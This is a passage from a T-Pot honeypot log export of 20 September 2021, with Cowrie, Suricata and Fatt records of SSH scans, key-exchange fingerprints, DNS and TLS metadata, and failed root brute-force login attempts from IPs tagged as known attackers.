"continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "2afaeb12f0ef", "@version": "1", "timestamp": "2021-09-20T12:06:48.559192Z", "@timestamp": "2021-09-20T12:06:48.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35188	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:06:45.482559+03	2021-09-20 15:15:02.92569+03	{"_id": "iwYZA3wBvYTbRNuE91p2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16046, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2269, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1145566450243790, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53118, "timestamp": "2021-09-20T12:06:45.482559Z", "@timestamp": "2021-09-20T12:06:45.482Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35189	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:45.536113+03	2021-09-20 15:15:02.92769+03	{"_id": "kwYZA3wBvYTbRNuE-FrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36082, "dest_port": 443, "timestamp": "2021-09-20T12:06:45.536113", "@timestamp": "2021-09-20T12:06:45.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35190	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:48.296919+03	2021-09-20 15:15:02.929689+03	{"_id": "lgYaA3wBvYTbRNuEAloS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "2afaeb12f0ef", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:06:48.296919Z", "@timestamp": "2021-09-20T12:06:48.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35191	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:06:41.000283+03	2021-09-20 15:15:02.930693+03	{"_id": "mQYaA3wBvYTbRNuEA1ox", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:23.049633+0000", "pkts_toclient": 7, "pkts_toserver": 10, "bytes_toclient": 548, "bytes_toserver": 1224}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "109.104.151.106", "flow_id": 442658539684321, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiBQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog", "@version": "1", "src_port": 23, "app_proto": "failed", "dest_port": 46094, "timestamp": "2021-09-20T12:06:41.000283Z", "@timestamp": "2021-09-20T12:06:41.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: Password: \\nLogin incorrect\\nlogin: "}}	1	\N	\N	alert	\N	\N
35192	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:06:56.186125+03	2021-09-20 15:15:02.932691+03	{"_id": "qwYaA3wBvYTbRNuEIVpY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "53fa807d3105", "@version": "1", "timestamp": "2021-09-20T12:06:56.186125Z", "@timestamp": "2021-09-20T12:06:56.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35193	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:06:56.185194+03	2021-09-20 15:15:02.933719+03	{"_id": "rgYaA3wBvYTbRNuEIlp1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 1564544805628758, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52300, "dest_port": 22, "timestamp": "2021-09-20T12:06:56.185194Z", "@timestamp": "2021-09-20T12:06:56.185Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35194	120.36.157.98	109.199.241.180	Fatt	2021-09-20 15:06:56.185505+03	2021-09-20 15:15:02.934719+03	{"_id": "sAYaA3wBvYTbRNuEI1pt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52300, "dest_port": 22, "timestamp": "2021-09-20T12:06:56.185505", "@timestamp": "2021-09-20T12:06:56.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35195	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:06:57.470247+03	2021-09-20 15:15:02.935719+03	{"_id": "sQYaA3wBvYTbRNuEJVpA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [root/linktom] failed", "session": "53fa807d3105", "@version": "1", "password": "linktom", "username": "root", "timestamp": "2021-09-20T12:06:57.470247Z", "@timestamp": "2021-09-20T12:06:57.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35196	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:06:58.771669+03	2021-09-20 15:15:02.93769+03	{"_id": "sgYaA3wBvYTbRNuELVoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53fa807d3105", "@version": "1", "duration": 2.883507251739502, "timestamp": "2021-09-20T12:06:58.771669Z", "@timestamp": "2021-09-20T12:06:58.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35231	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:07:20.542046+03	2021-09-20 15:15:02.984692+03	{"_id": "6gYaA3wBvYTbRNuEgVqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36092, "timestamp": "2021-09-20T12:07:20.542046", "@timestamp": "2021-09-20T12:07:20.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35197	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:06:48.033528+03	2021-09-20 15:15:02.938724+03	{"_id": "mAYaA3wBvYTbRNuEA1ox", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:06:45.026755+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1602392056752259, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 54985, "dest_port": 22, "timestamp": "2021-09-20T12:06:48.033528Z", "@timestamp": "2021-09-20T12:06:48.033Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
35198	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:48.299054+03	2021-09-20 15:15:02.94072+03	{"_id": "nAYaA3wBvYTbRNuEBFoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54985, "timestamp": "2021-09-20T12:06:48.299054", "@timestamp": "2021-09-20T12:06:48.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35199	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:55.889325+03	2021-09-20 15:15:02.941719+03	{"_id": "qgYaA3wBvYTbRNuEH1rj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52300, "timestamp": "2021-09-20T12:06:55.889325", "@timestamp": "2021-09-20T12:06:55.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35200	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:06:55.885554+03	2021-09-20 15:15:02.942691+03	{"_id": "rAYaA3wBvYTbRNuEIVpY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:52300 (192.168.176.2:22) [session: 53fa807d3105]", "session": "53fa807d3105", "@version": "1", "protocol": "ssh", "src_port": 52300, "dest_port": 22, "timestamp": "2021-09-20T12:06:55.885554Z", "@timestamp": "2021-09-20T12:06:55.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35201	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:06:55.888513+03	2021-09-20 15:15:02.943719+03	{"_id": "rQYaA3wBvYTbRNuEIVpY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "53fa807d3105", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:55.888513Z", "@timestamp": "2021-09-20T12:06:55.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35202	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:07:00.000739+03	2021-09-20 15:15:02.945691+03	{"_id": "tAYaA3wBvYTbRNuENVr_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:59.060536+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 524690269924472, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 57938, "timestamp": "2021-09-20T12:07:00.000739Z", "@timestamp": "2021-09-20T12:07:00.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35203	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:49.95721+03	2021-09-20 15:15:02.946692+03	{"_id": "nwYaA3wBvYTbRNuECVrk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/909090] failed", "session": "2afaeb12f0ef", "@version": "1", "password": "909090", "username": "root", "timestamp": "2021-09-20T12:06:49.957210Z", 